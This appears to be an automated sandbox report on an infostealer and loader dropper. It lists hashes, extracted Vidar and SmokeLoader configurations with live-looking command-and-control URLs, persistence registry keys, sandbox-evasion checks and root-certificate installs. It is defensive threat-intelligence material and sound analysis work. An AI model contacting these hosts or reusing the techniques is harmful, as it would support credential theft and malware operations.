Analysis
-
max time kernel
130s -
max time network
1803s -
platform
windows7_x64 -
resource
win7-fr -
submitted
13/09/2021, 13:00
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-fr
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win10-en
General
-
Target
setup_x86_x64_install.exe
-
Size
3.4MB
-
MD5
7279aeead22b91c8176ee932377f2e27
-
SHA1
169aa33bbaacff9d2b1fbef2a8d06456d14c81dc
-
SHA256
8485c644c0a96ff0d9256b10e2c50ee462868432080b6f27869d96edf77a7d0e
-
SHA512
8ddaa2cd804602c0fdde5a85c96067b19338d074980fd0350839e68fea9b113d55af056a3ac3cbb04c47b9ef819c4840031a9fcb817d7a45bb2e35d0184d7697
Malware Config
Extracted
vidar
40.5
706
https://gheorghip.tumblr.com/
-
profile_id
706
Extracted
smokeloader
2020
http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2308 2252 rundll32.exe 56 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2308 2252 rundll32.exe 56 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1884 2252 rundll32.exe 56 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 1 IoCs
resource yara_rule behavioral1/memory/3004-384-0x00000000003E0000-0x000000000041E000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 3 IoCs
resource yara_rule behavioral1/files/0x0001000000012f16-147.dat family_socelars behavioral1/files/0x0001000000012f16-130.dat family_socelars behavioral1/files/0x0001000000012f16-159.dat family_socelars -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Vidar Stealer 1 IoCs
resource yara_rule behavioral1/memory/1008-179-0x0000000000400000-0x00000000017F4000-memory.dmp family_vidar -
resource yara_rule behavioral1/files/0x0002000000012f0a-72.dat aspack_v212_v242 behavioral1/files/0x0002000000012f0a-71.dat aspack_v212_v242 behavioral1/files/0x0001000000012f10-70.dat aspack_v212_v242 behavioral1/files/0x0001000000012f10-69.dat aspack_v212_v242 behavioral1/files/0x0001000000012f12-76.dat aspack_v212_v242 behavioral1/files/0x0001000000012f12-75.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts 46807GHF____.exe -
Executes dropped EXE 50 IoCs
pid Process 1788 setup_installer.exe 1800 setup_install.exe 1040 Sun152260a303c33a7.exe 632 Sun15d8dfe2c6d17.exe 1008 Sun150d896340a863.exe 856 Sun15223697c98.exe 2044 Sun157ff8e4440aa.exe 1640 Sun1584240df9fe73a3.exe 1252 Sun150faeb3537d.exe 1600 Sun15b61bf18b0f1.exe 1992 Sun157a449716c8ee483.exe 1068 Sun15b61bf18b0f1.tmp 2364 46807GHF____.exe 2532 LzmwAqmV.exe 2584 conhost.exe 2708 Chrome 5.exe 2728 PublicDwlBrowser1100.exe 2776 2.exe 2820 setup.exe 2876 udptest.exe 2916 setup_2.exe 2940 3002.exe 2984 jhuuee.exe 3000 setup_2.tmp 3032 8.exe 2248 BearVpn 3.exe 2096 3002.exe 1160 setup_2.exe 1644 3515259.exe 1536 setup_2.tmp 1820 WinHoster.exe 2720 ultramediaburner.exe 2700 ultramediaburner.tmp 2344 UltraMediaBurner.exe 2016 Qerycivero.exe 748 Figaegujyhe.exe 2324 4878931.exe 2824 LzmwAqmV.exe 2164 6582302.exe 564 inupda.exe 2480 8927813.exe 2864 FoxyIDM621d.exe 3052 IDM1.tmp 956 services64.exe 632 GcleanerEU.exe 2940 installer.exe 884 anyname.exe 2492 IEXPLORE.EXE 632 sihost64.exe 2996 3515259.exe -
Loads dropped DLL 64 IoCs
pid Process 1992 setup_x86_x64_install.exe 1788 setup_installer.exe 1788 setup_installer.exe 1788 setup_installer.exe 1788 setup_installer.exe 1788 setup_installer.exe 1788 setup_installer.exe 1800 setup_install.exe 1800 setup_install.exe 1800 setup_install.exe 1800 setup_install.exe 1800 setup_install.exe 1800 setup_install.exe 1800 setup_install.exe 1800 setup_install.exe 240 cmd.exe 1704 cmd.exe 1972 cmd.exe 1972 cmd.exe 1636 cmd.exe 1636 cmd.exe 632 Sun15d8dfe2c6d17.exe 632 Sun15d8dfe2c6d17.exe 436 cmd.exe 748 cmd.exe 1008 Sun150d896340a863.exe 1008 Sun150d896340a863.exe 564 cmd.exe 856 Sun15223697c98.exe 856 Sun15223697c98.exe 1884 cmd.exe 1656 cmd.exe 1656 cmd.exe 1600 Sun15b61bf18b0f1.exe 1600 Sun15b61bf18b0f1.exe 1600 Sun15b61bf18b0f1.exe 1992 Sun157a449716c8ee483.exe 1992 Sun157a449716c8ee483.exe 1068 Sun15b61bf18b0f1.tmp 1068 Sun15b61bf18b0f1.tmp 1068 Sun15b61bf18b0f1.tmp 1252 Sun150faeb3537d.exe 1252 Sun150faeb3537d.exe 1068 Sun15b61bf18b0f1.tmp 2328 rundll32.exe 2328 rundll32.exe 2328 rundll32.exe 2328 rundll32.exe 2532 LzmwAqmV.exe 2532 LzmwAqmV.exe 2584 conhost.exe 2584 conhost.exe 2532 LzmwAqmV.exe 2532 LzmwAqmV.exe 2532 LzmwAqmV.exe 1008 Sun150d896340a863.exe 1008 Sun150d896340a863.exe 2532 LzmwAqmV.exe 1008 Sun150d896340a863.exe 1008 Sun150d896340a863.exe 2820 setup.exe 2532 LzmwAqmV.exe 2532 LzmwAqmV.exe 2532 LzmwAqmV.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" conhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Uninstall Information\\Silevinulae.exe\"" 46807GHF____.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\B: installer.exe File opened (read-only) \??\E: installer.exe File opened (read-only) \??\L: installer.exe File opened (read-only) \??\N: installer.exe File opened (read-only) \??\Q: installer.exe File opened (read-only) \??\Z: installer.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\P: installer.exe File opened (read-only) \??\U: installer.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\M: installer.exe File opened (read-only) \??\X: installer.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\G: installer.exe File opened (read-only) \??\K: installer.exe File opened (read-only) \??\S: installer.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\I: installer.exe File opened (read-only) \??\J: installer.exe File opened (read-only) \??\O: installer.exe File opened (read-only) \??\W: installer.exe File opened (read-only) \??\Y: installer.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\F: installer.exe File opened (read-only) \??\H: installer.exe File opened (read-only) \??\T: installer.exe File opened (read-only) \??\V: installer.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: installer.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\R: installer.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 30 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 4067 ip-api.com 13 ip-api.com 2276 ip-api.com 4658 ip-api.com 4545 ip-api.com 5701 ip-api.com 156 ip-api.com 1958 ip-api.com 3727 ip-api.com 4412 ipinfo.io 5772 ip-api.com 1594 ip-api.com 5625 ip-api.com 5755 ip-api.com 68 ip-api.com 2299 ipinfo.io 2351 ipinfo.io 2802 ip-api.com 3613 ip-api.com 4474 ip-api.com 4620 ip-api.com 4817 ip-api.com 4855 ip-api.com 5532 whatismyip.akamai.com 871 ip-api.com 1210 ip-api.com 2050 ip-api.com 2314 ip-api.com 3056 ip-api.com 4229 ipinfo.io -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1644 set thread context of 2996 1644 3515259.exe 100 PID 2164 set thread context of 1796 2164 6582302.exe 104 PID 564 set thread context of 2692 564 inupda.exe 106 PID 956 set thread context of 2952 956 services64.exe 152 -
Drops file in Program Files directory 12 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\Uninstall Information\Silevinulae.exe.config 46807GHF____.exe File created C:\Program Files (x86)\FarLabUninstaller\is-RIO3U.tmp setup_2.tmp File created C:\Program Files (x86)\UltraMediaBurner\is-J7C8Q.tmp ultramediaburner.tmp File created C:\Program Files\DVD Maker\LVURIHVBSD\ultramediaburner.exe.config 46807GHF____.exe File opened for modification C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe ultramediaburner.tmp File created C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\UltraMediaBurner\is-N89F9.tmp ultramediaburner.tmp File created C:\Program Files (x86)\Uninstall Information\Silevinulae.exe 46807GHF____.exe File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File created C:\Program Files\DVD Maker\LVURIHVBSD\ultramediaburner.exe 46807GHF____.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 4 IoCs
pid pid_target Process procid_target 2472 2776 WerFault.exe 67 2508 2324 WerFault.exe 96 1568 2480 WerFault.exe 109 3004 1644 WerFault.exe 81 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sun15223697c98.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sun15223697c98.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sun15223697c98.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Sun150d896340a863.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Sun150d896340a863.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2816 schtasks.exe 2476 schtasks.exe 6488 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2508 timeout.exe -
Kills process with taskkill 7 IoCs
pid Process 2772 taskkill.exe 608 taskkill.exe 3372 taskkill.exe 2596 taskkill.exe 2680 taskkill.exe 2716 taskkill.exe 2420 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{507C3E70-1493-11EC-8D93-46520115B3DE} = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 Sun150faeb3537d.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde Sun150faeb3537d.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Sun150d896340a863.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 services64.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a services64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Sun150d896340a863.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 